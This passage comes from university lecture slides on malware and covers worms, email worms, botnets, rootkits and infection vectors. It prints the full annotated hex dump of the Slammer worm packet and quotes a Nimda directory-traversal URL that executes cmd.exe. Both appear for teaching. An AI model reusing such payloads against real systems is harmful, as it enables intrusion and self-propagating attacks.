– Vulnerable population infected in less than 10 minutes
25. CS526 Topic 10: Malware 25
Slammer Worms (Jan., 2003)
SQL Server 2000
SQLSERVR.EXE
• MS SQL Server 2000 receives a request of the worm
– SQLSERVR.EXE process listens on UDP Port 1434
26. CS526 Topic 10: Malware 26
0000: 4500 0194 b6db 0000 6d11 2e2d 89e5 0a9c E...¶Û..m..-.å..
0010: cb08 07c7 1052 059a 0180 bda8 0401 0101 Ë..Ç.R....½¨....
0020: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0030: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0040: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0050: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0060: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0070: 0101 0101 0101 0101 0101 0101 01dc c9b0 .............ÜÉ°
0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae Bë........p®B.p®
0090: 4290 9090 9090 9090 9068 dcc9 b042 b801 B........hÜÉ°B¸.
00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1ɱ.Pâý5....P
00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .åQh.dllhel32hke
00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe
00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf¹llQh32.dhws2
00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f¹etQhsockf¹toQ
00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend¾..®B.EÔP..
0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.EàP.EðP..P¾..®
0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U.ìQt.¾..®
0120: 42ff 16ff d031 c951 5150 81f1 0301 049b B...Ð1ÉQQP.ñ....
0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff .ñ....Q.EÌP.EÀP.
0140: 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j..ÐP.EÄP.E
0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 ÀP...Æ.Û..óa...E
0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 ´..@...Áâ..ÂÁâ.)
0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031 Â....Ø.E´j..E°P1
0180: c951 6681 f178 0151 8d45 0350 8b45 ac50 ÉQf.ñx.Q.E.P.E¬P
0190: ffd6 ebca .ÖëÊ
The 0x01
characters overflow
the buffer and spill
into the stack right
up to the return
address
This value overwrites the return
address and points it to a location
in sqlsort.dll which effectively
calls a jump to %esp
UDP packet
header
This byte signals the
SQL Server to store
the contents of the
packet in the buffer
Restore payload, set
up socket structure,
and get the seed for
the random number
generator
Main loop of
Slammer: generate
new random IP
address, push
arguments onto stack,
call send method, loop
around
NOP slide
This is the first
instruction to get
executed. It jumps
control to here.
Slammer’s code is 376 bytes!
27. CS526 Topic 10: Malware 27
Research Worms
• Warhol Worms
– Could infect all vulnerable hosts in 15 minutes – 1 hour
– Uses optimized scanning in three phases
• Phase 1: initial hit list of potentially vulnerable hosts
• Phase 2: local subnet scanning
• Phase 3: permutation scanning for complete, self-coordinated
coverage, all instances pick a random host as starting target
and follow up with hosts in a particular order (the same order
for all instances); if a target host is already compromised, pick
another random host
• Flash Worms
– Could infect all vulnerable hosts in 30 seconds
– Determines a complete hit list of servers with relevant service
open and include it with the worm
28. CS526 Topic 10: Malware 28
Email Worms: Spreading as Email
Attachments
• Love Bug worm (ILOVEYOU worm) (2000):
– May 3, 2000: 5.5 to 10 billion dollars in damage
• MyDoom worm (2004)
– First identified in 26 January 2004:
– On 1 February 2004, about 1 million computers infected
with Mydoom begin a massive DDoS attack against the
SCO group
• Similar method use text messages on mobile
phones
29. CS526 Topic 10: Malware 29
Nimda worm (September 18, 2001)
• Key Vulnerability to Exploit
– Microsoft Security Bulletin (MS01-020): March 29, 2001
– A logic bug in IE’s rendering of HTML
– Specially crafted HTML email can cause the launching of an
embedded email
• Vector 1: e-mails itself as an attachment (every 10 days)
• runs once viewed in preview plane
• Vector 2: copies itself to shared disk drives on networked PCs
• Why this may lead to propagating to other hosts?
30. Nimda Worm
• Vector 3: Exploits various IIS directory traversal
vulnerabilities
– Use crafted URL to cause a command executing at
– Example of a directory traversal attack:
• http://address.of.iis5.system/scripts/..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir+c:
• Vector 4: Exploit backdoors left by earlier worms
• Vector 5: Appends JavaScript code to Web pages
CS526 Topic 10: Malware 30
31. CS526 Topic 10: Malware 31
Nimda worm
• 'Nimda fix' Trojan disguised as security bulletin
– claims to be from SecurityFocus and TrendMicro
– comes in file named FIX_NIMDA.exe
• TrendMicro calls their free Nimda removal tool
FIX_NIMDA.com
32. CS526 Topic 10: Malware 33
Zombie & Botnet
• Secretly takes over another networked computer
by exploiting software flows
• Builds the compromised computers into a
zombie network or botnet
– a collection of compromised machines running
programs, usually referred to as worms, Trojan
horses, or backdoors, under a common command and
control infrastructure.
• Uses it to indirectly launch attacks
– E.g., DDoS, phishing, spamming, cracking
33. CS526 Topic 10: Malware 34
Rootkit
• A rootkit is software that enables continued privileged
access to a computer while actively hiding its presence
from administrators by subverting standard operating
system functionality or other applications.
• Emphasis is on hiding information from administrators’
view, so that malware is not detected
– E.g., hiding processes, files, opened network connections, etc
• Example: Sony BMG copy protection rootkit scandal
– In 2005, Sony BMG included Extended Copy Protection on
music CDs, which are automatically installed on Windows on
CDs are played.
34. Types of Rootkits
• User-level rootkits
– Replace utilities such as ps, ls, ifconfig, etc
– Replace key libraries
– Detectable by utilities like tripwire
• Kernel-level rootkits
– Replace or hook key kernel functions
– Through, e.g., loadable kernel modules or direct kernel memory
access
– A common detection strategy: compare the view obtained by
enumerating kernel data structures with that obtained by the API
interface
– Can be defended by kernel-driver signing (required by 64-bit
windows)
CS526 Topic 10: Malware 35
35. CS526 Topic 10: Malware 37
How does a computer get infected with
malware or being intruded?
• Executes malicious code via user actions (email attachment,
download and execute trojan horses, or inserting USB
drives)
• Buggy programs accept malicious input
– daemon programs that receive network traffic
– client programs (e.g., web browser, mail client) that
receive input data from network
– Programs Read malicious files with buggy file reader
program
• Configuration errors (e.g., weak passwords, guest accounts,
DEBUG options, etc)
• Physical access to computer